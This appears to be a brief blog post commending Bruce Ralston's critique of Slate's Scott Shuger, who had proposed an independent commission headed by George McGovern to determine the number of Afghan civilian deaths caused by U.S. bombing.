Ralston Routs Shuger on Afghan

Ralston Routs Shuger on Afghan Civilian Deaths: Bruce Ralston, who has been invaluable in tracking the different studies on Afghan civilian deaths caused by U.S. bombs, criticizes Slate's Scott Shuger for suggesting that George McGovern be appointed to head an independent investigative commission to determine a final number. I think the data is less predictable than Ralston does (which he bases on four studies that yielded similar numbers), but he makes some good points about this, and also about Iraq civilian deaths during the Gulf War.
